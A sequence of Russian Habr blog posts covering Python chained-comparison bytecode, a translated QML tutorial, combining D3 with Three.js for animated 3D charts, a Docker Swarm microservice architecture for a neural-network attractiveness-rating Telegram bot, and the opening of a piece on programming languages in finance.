8 COMPARE_OP 0 (<)
11 JUMP_IF_FALSE_OR_POP 21
14 LOAD_CONST 3 (2)
17 COMPARE_OP 0 (<)
20 RETURN_VALUE
>> 21 ROT_TWO
22 POP_TOP
23 RETURN_VALUE
```
Разберем, что тут происходит. Загружаем в стек две константы и дублируем последнюю для сравнения потом. Переворачиваем стек. Вытягиваем 2 константы, сравниваем. Кладем результат в стек. Если Фолс, то выходим. Если Тру, то попаем Тру из стека. Загружаем третюю константу, и сравниваем со второй, сдублированой раньше. Можете самостоятельно дизассемблоировать 1 < 2 < 3 < 4… Код будет похож на код выше, только соответствующие блоки будут повторяться. И все равно это будет один сложный оператор.
А вот код `1<3 and 3<2`. Он весьма линеен и понятен:
```
dis(lambda: 1<3 and 3<2)
1 0 LOAD_CONST 1 (1)
3 LOAD_CONST 2 (3)
6 COMPARE_OP 0 (<)
9 JUMP_IF_FALSE_OR_POP 21
12 LOAD_CONST 2 (3)
15 LOAD_CONST 3 (2)
18 COMPARE_OP 0 (<)
>> 21 RETURN_VALUE
```
Зачем такой оператор нужен, ведь понятьнее писать `1<3 and 3<2`. К примеру, я парсил yaml:
```
age:
title: Age
items:
1: up to 18
2: 18-25
3: above 25
```
Следующим кодом:
```
def range_age(age):
for k, v in data['age'].items.items():
v = v.replace('up to','{}<')
v = v.replace('above','{}>')
v = v.replace('-','<={}<=')
if eval(v.format(age)):
return k
```
Всем хорошего дня!
ПС. А есть ли подобные, сложные операторы в других языках? | https://habr.com/ru/post/125671/ | null | ru | null |
# QML Самоучитель
Предисловие
-----------
Уже давно вышла версия Qt4 c поддержкой QML. С тех пор многое допиливалось и сейчас технология является довольно успешной и стабильной. Однако нормального описания так и не удавалось найти на русском языке. А на английском написано так, как говорится, "правой рукой, да левое ухо". Поэтому решил начать перевод самоучителя (пока базового, затем планирую расширенный) на русский язык. Собственно, найти самоучитель можно на моем [GitHub](https://github.com/SlimRG/QML-Tutorial) или здесь ниже.
QML Самоучитель
---------------
В данном руководстве содержится введение в QML (язык интерфейсов Qt Quick). Оно охватывает не все - акцент делается на обучении базовым принципам, а особенности и дополнения приводится по мере необходимости.
В этом руководстве вы узнаете об основных типах QML, создадите ваш собственный компонент QML со свойствами и сигналами, а также создадите простую анимацию с помощью состояний и переходов.
Первая глава начинается с минимальной программы "Привет, мир", в следующих же главах приведены новые концепции.
Исходные коды из руководства находится в Qt каталоге:
```
examples/quick/tutorials/helloworld
```
Главы руководства:
------------------
1. Базовые Типы.
2. Компоненты QML.
3. Состояния и переходы.
Глава 1 - Базовые Типы
----------------------
Первая программа представляет собой очень простой "Hello world" пример, который познакомит вас с некоторыми базовыми концепциями QML.
На рисунке ниже показан скриншот этой программы:
QML код приложения:
```
import QtQuick 2.0
Rectangle {
id: page
width: 320; height: 480
color: "lightgray"
Text {
id: helloText
text: "Hello world!"
y: 30
anchors.horizontalCenter: page.horizontalCenter
font.pointSize: 24; font.bold: true
}
}
```
### Разбор по шагам
### Импорт
Сперва нужно импортировать типы, которые нужны вам для этого примера. Большинство файлов QML импортируют встроенные типы QML (например, [Rectangle](https://doc.qt.io/qt-6/qml-qtquick-rectangle.html), [Image](https://doc.qt.io/qt-6/qml-qtquick-image.html), ...), которые поставляются с Qt, используя:
```
import QtQuick 2.0
```
#### Тип - Прямоугольник
```
Rectangle {
id: page
width: 320; height: 480
color: "lightgray"
```
Здесь объявляется корневой объект типа [Rectangle](https://doc.qt.io/qt-6/qml-qtquick-rectangle.html) (Прямоугольник). Это один из основных строительных блоков, которые вы можете использовать для создания приложения на QML. Далее ему присваивается идентификатор, чтобы была возможность ссылаться на него в дальнейшем. В данном случае идентификатор имеет значение "page". Также устанавливаются свойства ширины, высоты и цвета. Тип [Rectangle](https://doc.qt.io/qt-6/qml-qtquick-rectangle.html) содержит много других свойств (таких как *x* и *y*), но они будут инициированы со значениями по умолчанию.
#### Тип - Текст
```
Text {
id: helloText
text: "Hello world!"
y: 30
anchors.horizontalCenter: page.horizontalCenter
font.pointSize: 24; font.bold: true
}
```
Здесь добавляется тип [Text](https://doc.qt.io/qt-6/qml-qtquick-text.html) в качестве дочернего элемента корневого типа Rectangle, который отображает текст "Hello world!".
Свойство *y* используется для позиционирования текста по вертикали на расстоянии 30 пикселей от верхней части его родительского элемента.
Свойство *anchors.horizontalCenter* прикладывается к горизонтальному центру типа. В этом случае указывается, что тип Text должен быть горизонтально центрирован в элементе "page" (см. [Anchor-Based Layout](https://doc.qt.io/qt-6/qtquick-positioning-anchors.html)).
Размер *font.pointSize* и *font.bold* связаны со шрифтами и используют точечную нотацию.
### Просмотр примера
Чтобы просмотреть то, что вы создали, запустите инструмент [qml](https://doc.qt.io/qt-6/qtquick-qml-runtime.html) (расположенный в каталоге bin) с вашим именем файла в качестве первого аргумента. Например, чтобы запустить предоставленный пример завершенной Главы 1 из места установки, вы должны ввести:
```
qml tutorials/helloworld/tutorial1.qml
```
Глава 2 - Компоненты QML
------------------------
В этой главе описывается средство для изменения цвета текста.
На скриншоте выше изображен набор цветов, состоящий из шести ячеек с разными цветами. Чтобы избежать повторения одного и того же кода для каждой ячейки, создается новый компонент ячейки (компонент *Cell*). Компонент предоставляет способ определения нового типа, который можно повторно использовать в других файлах QML. Компонент QML подобен черному ящику и взаимодействует с внешним миром через свойства, сигналы и функции и обычно определяется в его собственном файле QML. (см. [Документацию по Component](https://doc.qt.io/qt-6/qml-qtqml-component.html)). Имя файла компонента всегда должно начинаться с заглавной буквы английского алфавита.
Ниже показан QML код для *Cell.qml*:
```
import QtQuick 2.0
Item {
id: container
property alias cellColor: rectangle.color
signal clicked(cellColor: color)
width: 40; height: 25
Rectangle {
id: rectangle
border.color: "white"
anchors.fill: parent
}
MouseArea {
anchors.fill: parent
onClicked: container.clicked(container.cellColor)
}
}
```
### Разбор по шагам
#### Cell компонент
```
Item {
id: container
property alias cellColor: rectangle.color
signal clicked(cellColor: color)
width: 40; height: 25
```
Корневой тип нашего компонента - это элемент ([Item](https://doc.qt.io/qt-6/qml-qtquick-item.html)) с идентификатором (*ID*) равным *container*. Элемент (*Item*) является самым основным визуальным типом в QML и часто используется в качестве контейнера для других типов.
```
property alias cellColor: rectangle.color
```
Выше объявляется свойство *cellColor* (цвет ячейки). Данное свойство доступно извне компонента, это позволяет создавать экземпляры ячеек с разными цветами. Это свойство является просто псевдонимом существующего свойства - цвета прямоугольника, составляющего ячейку (см. [Привязку свойства](https://doc.qt.io/qt-6/qtqml-syntax-propertybinding.html)).
```
signal clicked(cellColor: color)
```
Также нужно, чтобы у нашего компонента был сигнал, который мы вызываем при нажатии (*clicked*) с параметром цвета ячейки типа цвета (*color*). Позже мы будем использовать данный сигнал для изменения цвета текста в основном файле QML.
```
Rectangle {
id: rectangle
border.color: "white"
anchors.fill: parent
}
```
Компонент ячейки в основном представляет собой цветной прямоугольник с идентификатором (*ID*) *rectangle*.
Свойство *anchors.fill* - это удобный способ задать размер визуального типа. В этом случае прямоугольник будет иметь тот же размер, что и его родительский (parent) элемент (см. [Макет на основе привязки](https://doc.qt.io/qt-6/qtquick-positioning-anchors.html)).
```
MouseArea {
anchors.fill: parent
onClicked: container.clicked(container.cellColor)
}
```
Чтобы изменить цвет текста при щелчке по ячейке, создается тип [MouseArea](https://doc.qt.io/qt-6/qml-qtquick-mousearea.html) (область мышки) с тем же размером, что и ее родительский элемент.
#### Основной файл QML
В основном файле QML используется ранее созданный компонент Cell для создания средства выбора цвета:
```
import QtQuick 2.0
Rectangle {
id: page
width: 320; height: 480
color: "lightgray"
Text {
id: helloText
text: "Hello world!"
y: 30
anchors.horizontalCenter: page.horizontalCenter
font.pointSize: 24; font.bold: true
}
Grid {
id: colorPicker
x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
rows: 2; columns: 3; spacing: 3
Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
}
}
```
Создается средство выбора цвета, представляя собой сетку из 6 ячеек с разными цветами.
Когда срабатывает сигнал щелчка мыши (*clicked signal*) по ячейке, установится цвет текста равным цвету ячейки, переданному в качестве параметра *cellColor*. Можно реагировать на любой сигнал нашему компоненту с помощью свойства с именем *'onSignalName'* (см. [Атрибуты сигнала](https://doc.qt.io/qt-6/qtqml-syntax-objectattributes.html#signal-attributes)).
### Глава 3 - Состояния и переходы
В данной главе предыдущий пример станет немного более динамичным, используя состояния и переходы.
Нужно, чтобы текст перемещался в нижнюю часть экрана, поворачивался и становился красным при нажатии.
Ниже приведен QML код:
```
import QtQuick 2.0
Rectangle {
id: page
width: 320; height: 480
color: "lightgray"
Text {
id: helloText
text: "Hello world!"
y: 30
anchors.horizontalCenter: page.horizontalCenter
font.pointSize: 24; font.bold: true
MouseArea { id: mouseArea; anchors.fill: parent }
states: State {
name: "down"; when: mouseArea.pressed == true
PropertyChanges {
helloText {
y: 160
rotation: 180
color: "red"
}
}
}
transitions: Transition {
from: ""; to: "down"; reversible: true
ParallelAnimation {
NumberAnimation { properties: "y,rotation"; duration: 500; easing.type: Easing.InOutQuad }
ColorAnimation { duration: 500 }
}
}
}
Grid {
id: colorPicker
x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
rows: 2; columns: 3; spacing: 3
Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
}
}
```
### Разбор по шагам
```
states: State {
name: "down"; when: mouseArea.pressed == true
PropertyChanges {
helloText {
y: 160
rotation: 180
color: "red"
}
}
}
```
Сначала создается новое состояние *down* для текстового типа. Это состояние будет активироваться при нажатии кнопки мышки и деактивироваться при ее отпускании.
Состояние *down* включает в себя набор изменений свойств из неявного дефолтного (default) состояния (элементы в том виде, в каком они были изначально определены в QML). В ручную (специально) устанавливаются свойства текста равными: положение по вертикали (*y*) равное 160, поворот - 180 и цвет - красный.
```
transitions: Transition {
from: ""; to: "down"; reversible: true
ParallelAnimation {
NumberAnimation { properties: "y,rotation"; duration: 500; easing.type: Easing.InOutQuad }
ColorAnimation { duration: 500 }
}
}
```
Чтобы текст появлялся внизу не мгновенно, а перемещался плавно - добавляется переход между нашими двумя состояниями.
"from" и "to" определяют состояния, между которыми будет выполняться переход. В этом случае происходит переход из состояния по умолчанию в состояние *down*.
Поскольку требуется, чтобы тот же переход выполнялся в обратном порядке при возврате из состояния *down* в дефолтное состояние, мы устанавливаем значение reversable равным true. Это эквивалентно записи двух переходов по отдельности.
Тип *ParallelAnimation* гарантирует, что два типа анимации (число и цвет) запускаются одновременно (параллельно). Также возможно бы запускать их один за другим, используя вместо этого *SequentialAnimation*.
Дополнительные сведения о состояниях и переходах см. в разделе [Состояния QtQuick](https://doc.qt.io/qt-6/qtquick-statesanimations-states.html), а также [Пример реализации состояний и переходов](https://doc.qt.io/qt-6/qtquick-animation-example.html#states).
Послесловие
-----------
Данный туториал-самоучитель решил выложить здесь, т.к. GitHub стал блокировать репозитории русских компаний и, кто знает, может начнет и обычных людей банить. А Habr - наш, родненький.
Второй момент - автор данного перевода (то есть я) не является профессиональным переводчиком, поэтому ошибки могут присутствовать. Спасибо за понимание.
И на последок, не могу не сказать, что оригинальный туториал можно найти на официальном сайте Qt. Все, права защищены и бла-бла-бла.
© 2022 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the [GNU Free Documentation License version 1.3](https://www.gnu.org/licenses/fdl.html) as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners. | https://habr.com/ru/post/669692/ | null | ru | null |
# Визуализируем в 3D, или как подружить D3 и Three.js
Если Вы уже слышали о [D3](http://habrahabr.ru/search/?q=[d3.js]&target_type=posts) и [Three.js](http://habrahabr.ru/search/?q=[three.js]&target_type=posts), эта статья может показаться Вам интересной. В ней речь пойдёт о том, как заставить эти библиотеки работать вместе для создания динамических трёхмерных сцен, на примере этой простой гистограммы:
[](http://fiddle.jshell.net/LHtAx/4/show/)
#### Откуда ноги растут?
Некоторое время назад мы в [CodeOrchestra](http://habrahabr.ru/company/codeorchestra/) экспериментировали с портом D3 на AS3/DSL под кодовым названием «D6» (от D3 + 3D). Наш порт покрывал лишь самые базовые функции D3, но зато умел работать с популярными 3D движками на AS3 «из коробки». И хотя мы так и не вывели D6 в свет, та самая идея использовать D3 для 3D с тех пор не покидает наши умы. Действительно, если Вы заглянете в [галерею D3](https://github.com/mbostock/d3/wiki/Gallery), Вы не найдёте там ни одного трёхмерного примера. Причина в том, что D3 сильно заточена на работу с DOM браузера, и вроде как не поддерживает выборки произвольных объектов. Однако, обладая достаточной мотивацией, мы можем её заставить.
#### Итак, начнём
Начнём с [простейшего примера двухмерной гистограммы с использованием D3](http://jsfiddle.net/LHtAx/) (тут и далее код адаптирован из официальных уроков D3 [[1](http://mbostock.github.io/d3/tutorial/bar-1.html)] и [[2](http://mbostock.github.io/d3/tutorial/bar-2.html)], и сокращён ради читабельности):
```
d3.select(".chart")
.selectAll()
.data(data)
.enter().append("div")
.style("width", function(d) { return d * 10 + "px"; });
```
В этом примере видно, что основные методы D3 принимают в качестве аргументов волшебные DOM-зависимые строки (такие как селектор `.chart` или имя тега `div`), что крайне неудобно для наших целей. К счастью, у этих методов имеются альтернативные сигнатуры. Эти сигнатуры существуют для скучных вещей вроде повторного использования выборок. Мы же воспользуемся ими, чтобы переписать наш пример следующим образом:
```
function newDiv() {
return document.createElement("div");
}
var chart = {
appendChild: function (child) {
// эта функция будет вызвана из append() после newDiv()
return document.getElementById("chartId")
.appendChild(child);
},
querySelectorAll: function () {
// эта функция будет вызвана из selectAll()
return [];
}
}
d3.select( chart )
.selectAll()
.data(data)
.enter().append( newDiv )
.style("width", function(d) { return d * 10 + "px"; });
```
Как видим, мы 1) указали D3 как создавать `div` в явном виде, и 2) убедили D3 в том, что наш объект chart — [утка](http://ru.wikipedia.org/wiki/Утиная_типизация). При этом [результат нашего кода](http://jsfiddle.net/LHtAx/1/) совершенно не изменился.
#### Так что насчёт 3D ?
Стандартом де-факто для 3D графики в JavaScript на сегодняшний день является Three.js. Если мы хотим делать 3D в D3, нам надо аналогичным образом убедить D3 работать с выборками из трёхмерных объектов Three.js. Для этого мы добавим следующие методы в прототип Object3D:
```
// эти методы нужны для D3-шных .append() и .selectAll()
THREE.Object3D.prototype.appendChild = function (c) { this.add(c); return c; };
THREE.Object3D.prototype.querySelectorAll = function () { return []; };
// а этот - для D3-шного .attr()
THREE.Object3D.prototype.setAttribute = function (name, value) {
var chain = name.split('.');
var object = this;
for (var i = 0; i < chain.length - 1; i++) {
object = object[chain[i]];
}
object[chain[chain.length - 1]] = value;
}
```
Этого вполне достаточно для создания [простейшей трёхмерной гистограммы](http://jsfiddle.net/LHtAx/2/):
```
function newBar () {
return new THREE.Mesh( geometry, material );
}
chart3d = new THREE.Object3D();
// используем D3 для создания 3D столбцов
d3.select( chart3d )
.selectAll()
.data(data)
.enter().append( newBar )
.attr("position.x", function(d, i) { return 30 * (i - 3); })
.attr("position.y", function(d, i) { return d; })
.attr("scale.y", function(d, i) { return d / 10; })
```
#### Это всё ?
Вовсе нет. Чтобы использовать главную фишку D3 — обработку изменения данных — нам необходимо пересмотреть наши обманки. Во-первых, чтобы D3 могла интерполировать значения «аттрибутов», нам необходимо добавить в прототип Object3D метод getAttribute:
```
THREE.Object3D.prototype.getAttribute = function (name) {
var chain = name.split('.');
var object = this;
for (var i = 0; i < chain.length - 1; i++) {
object = object[chain[i]];
}
return object[chain[chain.length - 1]];
}
```
Во-вторых, selectAll() должен на самом деле работать, чтобы построить выборку обновляющихся объектов. Например, мы можем реализовать отбор наследников Object3D определённого типа:
```
THREE.Object3D.prototype.querySelectorAll = function (selector) {
var matches = [];
var type = eval(selector);
for (var i = 0; i < this.children.length; i++) {
var child = this.children[i];
if (child instanceof type) {
matches.push(child);
}
}
return matches;
}
```
Чтобы [заставить наши столбцы танцевать](http://jsfiddle.net/LHtAx/3/), теперь достаточно просто периодически изменять данные:
```
var N = 9, v = 30, data = d3.range(9).map(next);
function next () {
return (v = ~~Math.max(10, Math.min(90, v + 20 * (Math.random() - .5))));
}
setInterval(function () {
data.shift(); data.push(next()); update();
}, 1500);
function update () {
// используем D3 для создания и обновления 3D столбцов
var bars = d3.select( chart3d )
.selectAll("THREE.Mesh")
.data(data);
bars.enter().append( newBar )
.attr("position.x", function(d, i) { return 30 * (i - N/2); });
bars.transition()
.duration(1000)
.attr("position.y", function(d, i) { return d; })
.attr("scale.y", function(d, i) { return d / 10; });
}
```
Итак, общий принцип спаривания D3 с Three.js Вам должен быть ясен — мы постепенно добавляем в прототип Object3D методы, достаточные для работы интересующего нас функционала D3. Но для закрепления рассмотрим последний вариант гистограммы, в котором используем привязку данных по ключу и работу с выборкой удаляемых объектов. Добавим в прототип Object3D метод removeChild:
```
THREE.Object3D.prototype.removeChild = function (c) { this.remove(c); }
```
Если бы Вы попробовали теперь воспользоваться методом remove() выборки удаляемых объектов, то обнаружили бы, что ничего не происходит. Почему? Ответ легко увидеть в [исходниках D3](https://github.com/mbostock/d3/blob/fd5ee5de64338f55e95cacddd80a8c86633be526/src/selection/remove.js) — метод remove() не использует parentNode выборки, а пытается удалять объект из своего непосредственного родителя. Чтобы сделать это возможным, необходимо скорректировать нашу реализацию appendChild():
```
THREE.Object3D.prototype.appendChild = function (c) {
this.add(c);
// создаём свойство parentNode
c.parentNode = this;
return c;
}
```
#### Итог
А в итоге у нас получилась [вот такая красота](http://jsfiddle.net/LHtAx/4/):
```
var N = 9, t = 123, v = 30, data = d3.range(9).map(next);
function next () {
return {
time: ++t,
value: v = ~~Math.max(10, Math.min(90, v + 20 * (Math.random() - .5)))
};
}
function update () {
// используем D3 для создания, обновления и удаления 3D столбцов
var bars = d3.select( chart3d )
.selectAll("THREE.Mesh")
.data(data, function(d) { return d.time; });
bars.transition()
.duration(1000)
.attr("position.x", function(d, i) { return 30 * (i - N / 2); })
bars.enter().append( newBar )
.attr("position.x", function(d, i) { return 30 * (i - N / 2 + 1); })
.attr("position.y", 0)
.attr("scale.y", 1e-3)
.transition()
.duration(1000)
.attr("position.x", function(d, i) { return 30 * (i - N / 2); })
.attr("position.y", function(d, i) { return d.value; })
.attr("scale.y", function(d, i) { return d.value / 10; })
bars.exit().transition()
.duration(1000)
.attr("position.x", function(d, i) { return 30 * (i - N / 2 - 1); })
.attr("position.y", 0)
.attr("scale.y", 1e-3)
.remove()
}
```
Как видим, D3 прекрасно справляется с 3D, если ей немного помочь, а Three.js не создаёт в этом никаких проблем. Обе библиотеки имеют свои сильные стороны, и я надеюсь, что эта статья открыла Вам путь к их гармоничному сочетанию в Ваших будущих работах. | https://habr.com/ru/post/200584/ | null | ru | null |
# Общий обзор архитектуры сервиса для оценки внешности на основе нейронных сетей
Вступление
----------
Привет!
В данной статье я поделюсь опытом построения микросервисной архитектуры для проекта, использующего нейронные сети.
Поговорим о требованиях к архитектуре, посмотрим на различные структурные диаграммы, разберем каждый из компонентов готовой архитектуры, а также оценим технические метрики решения.
Приятного чтения!
Пару слов о задаче и ее решении
-------------------------------
Основная идея – на основе фото дать оценку привлекательности человека по десятибалльной шкале.
В данной статье мы отойдем от описания как используемых нейронных сетей, так и процесса подготовки данных, обучения. Однако, в одной из следующих публикаций, мы обязательно вернемся к разбору пайплайна оценки на углубленном уровне.
Сейчас же мы верхнеуровнево пройдемся по пайплайну оценки, а упор сделаем на взаимодействие микросервисов в контексте общей архитектуры проекта.
При работе над пайплайном оценки привлекательности, задача была декомпозирована на следующие составляющие:
1. Выделение лиц на фото
2. Оценка каждого из лиц
3. Рендер результата
Первое решается силами предобученной [MTCNN](https://arxiv.org/abs/1604.02878). Для второго была обучена сверточная нейросеть на PyTorch, в качестве backbone был использован [ResNet34](https://arxiv.org/abs/1512.03385) – из баланса «качество / скорость инференса на CPU»
*Функциональная диаграмма пайплайна оценки*
Анализ требований к архитектуре проекта
---------------------------------------
В жизненном цикле [ML](https://en.wikipedia.org/wiki/Machine_learning) проекта этапы работы над архитектурой и автоматизацией развертывания модели, зачастую, одни из самых затратных по времени и ресурсам.
*Жизненный цикл ML проекта*
Данный проект не исключение – было принято решение обернуть пайплайн оценки в онлайн-сервис, для этого требовалось погрузиться в архитектуру. Были обозначены следующие базовые требования:
1. Единое хранилище логов – все сервисы должны писать логи в одно место, их должно быть удобно анализировать
2. Возможность горизонтального масштабирования сервиса оценки — как наиболее вероятного Bottleneck
3. На оценку каждого изображения должно быть выделено одинаковое кол-во ресурсов процессора — во избежание выбросов в распределении времени на инференс
4. Быстрое (пере)развертывание как конкретных сервисов, так и стэка в целом
5. Возможность, при необходимости, использовать в разных сервисах общие объекты
Архитектура
-----------
После анализа требований стало очевидно, что микросервисная архитектура вписывается практически идеально.
Для того, чтобы избавиться от лишней головной боли, в качестве фронтенда был выбран Telegram API.
Для начала рассмотрим структурную диаграмму готовой архитектуры, далее перейдем к описанию каждого из компонентов, а также формализуем процесс успешной обработки изображения.
*Структурная диаграмма готовой архитектуры*
Поговорим подробнее о каждом из компонентов диаграммы, обозначим их Single Responsibility в процессе оценки изображения.
### Микросервис «attrai-telegram-bot»
Данный микросервис инкапсулирует все взаимодействия с Telegram API. Можно выделить 2 основных сценария – работа с пользовательским изображением и работа с результатом пайплайна оценки. Разберем оба сценария в общем виде.
При получении пользовательского сообщения с изображением:
1. Производится фильтрация, состоящая из следующих проверок:
* Наличия оптимального размера изображения
* Количества изображений пользователя, уже находящихся в очереди
2. При прохождении первичной фильтрации изображение сохраняется в docker volume
3. В очередь “to\_estimate” продьюсится таска, в которой, в том числе, фигурирует путь до изображения, лежащего в нашем volume
4. Если вышеперечисленные этапы пройдены успешно – пользователь получит сообщение с примерным временем обработки изображения, которое рассчитывается на основе количества тасков в очереди. В случае ошибки пользователь будет явным образом об этом оповещен – путем отправки сообщения с информацией о том, что могло пойти не так.
Также, данный микросервис, как celery worker, слушает очередь «after\_estimate», которая предназначается для тасков, прошедших через пайплайн оценки.
При получении новой таски из “after\_estimate”:
1. Если изображение обработано успешно – отправляем результат пользователю, если нет – оповещаем об ошибке
2. Удаляем изображение, являющееся результатом пайплайна оценки
### Микросервис оценки «attrai-estimator»
Данный микросервис является celery worker и инкапсулирует в себе всё, что связано с пайплайном оценки изображения. Алгоритм работы тут один – разберем его.
При получении новой таски из “to\_estimate”:
1. Прогоняем изображение через пайплайн оценки:
1. Загружаем изображение в память
2. Приводим изображение к нужному размеру
3. Находим все лица (MTCNN)
4. Оцениваем все лица (оборачиваем найденные в прошлом пункте лица в батч и инференсим ResNet34)
5. Рендерим итоговое изображением
1. Отрисоваем bounding boxes
2. Отрисовываем оценки
2. Удаляем пользовательское (исходное) изображение
3. Сохраняем выход с пайплайна оценки
4. Кладем таску в очередь “after\_estimate”, которую слушает разобранный выше микросервис “attrai-telegram-bot”
### Graylog (+ mongoDB + Elasticsearch)
[Graylog](https://www.graylog.org/) — это решение для централизованного управления логами. В данном проекте, он использовался по своему прямому назначению.
Выбор пал именно на него, а не на привычный всем [ELK](https://www.elastic.co/what-is/elk-stack) стэк, по причине удобства работы с ним из под Python. Все, что необходимо сделать для логирования в Graylog, это добавить GELFTCPHandler из пакета [graypy](https://pypi.org/project/graypy/) к остальным root logger handlers нашего python-микросервиса.
Я, как человек, который до этого работал только с ELK стэком, в целом, получил позитивный опыт во время работы с Graylog. Единственное, что удручает – превосходство по фичам Kibana над веб-интерфейсом Graylog.
### RabbitMQ
[RabbitMQ](https://www.rabbitmq.com/) — это брокер сообщений на основе протокола AMQP.
В данном проекте он использовался как [наиболее стабильный и проверенный временем](https://docs.celeryproject.org/en/latest/getting-started/brokers/#broker-overview) брокер для Celery и работал в durable режиме.
### Redis
[Redis](https://redis.io/) — это NoSQL СУБД, работающая со структурами данных типа «ключ — значение»
Иногда возникает необходимость использовать в разных python-микросервисах общие объекты, реализующие какие-либо структуры данных.
Например, в Redis хранится hashmap вида «telegram\_user\_id => количество активных тасок в очереди», что позволяет ограничить количество запросов от одного пользователя определенным значением и, тем самым, предотвратить DoS-атаки.
### Формализуем процесс успешной обработки изображения
1. Пользователь отправляет изображение в Telegram бота
2. «attrai-telegram-bot» получает сообщение от Telegram API и разбирает его
3. Таск с изображением добавляется в асинхронную очередь «to\_estimate»
4. Пользователь получает сообщение с планируемым временем оценки
5. «attrai-estimator» берет таск из очереди «to\_estimate», прогоняет через пайплайн оценки и продьюсит таск в очередь «after\_estimate»
6. «attrai-telegram-bot», слушающий очередь «after\_estimate», отправляет результат пользователю
DevOps
------
Наконец, после обзора архитектуры, можно перейти к не менее интересной части — DevOps
### Docker Swarm
[Docker Swarm](https://docs.docker.com/engine/swarm/) - система кластеризации, функционал которой реализован внутри Docker Engine и доступен из коробки.
При помощи «роя», все ноды нашего кластера можно разделить на 2 типа – worker и manager. На машинах первого типа разворачиваются группы контейнеров (стэки), машины второго типа отвечают за скалирование, балансировку и [другие классные фичи](https://docs.docker.com/engine/swarm/#feature-highlights). Менеджеры по умолчанию являются и воркерами.
*Кластер с одним leader manager и тремя worker*
Минимально возможный размер кластера – 1 нода, единственная машина будет одновременно выступать как leader manager и worker. Исходя из размера проекта и минимальных требований к отказоустойчивости, было принято решение использовать именно этот подход.
Забегая вперед, скажу, что с момента первой production-поставки, которая была в середине июня, проблем, связанных с данной организацией кластера, не было (но это не значит, что подобная организация хоть сколько-нибудь допустима в любых средне-крупных проектах, на которые накладываются требования по отказоустойчивости).
### Docker Stack
В режиме «роя» за развертывание стэков (наборов docker services) отвечает [docker stack](https://docs.docker.com/engine/reference/commandline/stack/)
Он поддерживает docker-compose конфиги, позволяя дополнительно использовать deploy параметры.
Например, при помощи данных параметров были ограничены ресурсы на каждый из инстансов микросервиса оценки (выделяем на N инстансов N ядер, в самом микросервисе ограничиваем кол-во ядер, используемое PyTorch`ем, одним)
```
attrai_estimator:
image: 'erqups/attrai_estimator:1.2'
deploy:
replicas: 4
resources:
limits:
cpus: '4'
restart_policy:
condition: on-failure
…
```
Важно отметить, что Redis, RabbitMQ и Graylog — stateful сервисы и масштабировать их так же просто, как «attrai-estimator», не получится
### Предвещая вопрос — почему не Kubernetes?
Кажется, что использование Kubernetes в проектах маленького и среднего размера – оверхед, весь необходимый функционал можно получить от Docker Swarm, который довольно user friendly для оркестратора контейнеров, а также имеет низкий порог вхождения.
### Инфраструктура
Развертывалось это все на VDS со следующими характеристиками:
* CPU: 4 ядра Intel® Xeon® Gold 5120 CPU @ 2.20GHz
* RAM: 8 GB
* SSD: 160 GB
После локального нагрузочного тестирования, казалось, что при серьезном наплыве пользователей, данной машинки будет хватать впритык.
Но, сразу после деплоя, я запостил ссылку на одну из самых популярных в СНГ имиджборд (ага, ту самую), после чего люди заинтересовались и за несколько часов сервис успешно обработал десятки тысяч изображений. При этом в пиковые моменты ресурсы CPU и RAM не были использованы даже наполовину.
### Еще немного графики
Количество уникальных пользователей и запросов на оценку, с момента деплоя, в зависимости от дня
Распределение времени инференса пайплайна оценки
Выводы
------
Резюмируя, могу сказать, что архитектура и подход к оркестрации контейнеров полностью себя оправдали — даже в пиковые моменты не было падений и проседаний по времени обработки.
Думаю, проекты маленького и среднего размеров, использующие в своем процессе реалтайм инференс нейронных сетей на CPU, успешно могут перенять практики, описанные в данной статье.
Добавлю, что изначально статья была больше, но, дабы не постить лонгрид, решил некоторые моменты в данной статье опустить — вернемся к ним в следующих публикациях.
Потыкать бота можно в Telegram — @AttraiBot, работать будет, как минимум, до конца осени 2020 года. Напомню — никакие пользовательские данные не хранятся — ни исходные изображения, ни результаты пайплайна оценки — все сносится после обработки. | https://habr.com/ru/post/511332/ | null | ru | null |
# Инфраструктура и торговые роботы: Какие языки программирования используются в сфере финансов
[](http://habrahabr.ru/company/itinvest/blog/271493/)
Биржевая торговля — это высокотехнологичная отрасль. В нашем блоге на Хабре мы рассказывали о том, какие протоколы используются для передачи финансовой информации ([раз](http://habrahabr.ru/company/itinvest/blog/242789/), [два](http://habrahabr.ru/company/itinvest/blog/243657/), [три](http://habrahabr.ru/company/itinvest/blog/261709/), [четыре](http://habrahabr.ru/company/itinvest/blog/270961/)), [демонстрировали инфраструктуру](http://habrahabr.ru/company/itinvest/blog/255967/) узла финансового трейдинга и описывали процесс [оптимизации производительности](http://habrahabr.ru/company/itinvest/blog/257919/) торгового терминала.
Сегодня речь пойдет о том, какие языки программирования используются в сфере финансов, для решения каких задач они применяются, и на каком из них остановить выбор в каждом конкретном случае.
#### Финансы и программирование: краткий обзор
Традиционно в финансовой индустрии востребованы языки программирования, которые позволяют создавать высоконагруженные системы обработки и передачи данных, которые взаимодействуют с самым разным железом.
Значительная часть инфраструктуры брокерских компаний и бирж создана с применением языка **C++** — с его помощью создаются самые разные продукты от библиотек для расчета ценовых моделей производных инструментов до модулей обработки потоков данных. Неудивительно, что специалисты, знающие этот язык, крайне востребованы в сфере финансов.
Кроме того, крайне востребованными языками программирования являются **C# и Java**. Эти языки реже используются для непосредственного решения инфраструктурных задач, однако на рынке можно часто встретить торговых роботов, модули которых реализованы на этих языках. Кроме того финансовые компании могут использовать их для реализации различных фронтенл-сервисов. Специалисты по C# и Java также востребованы в таких компаниях.
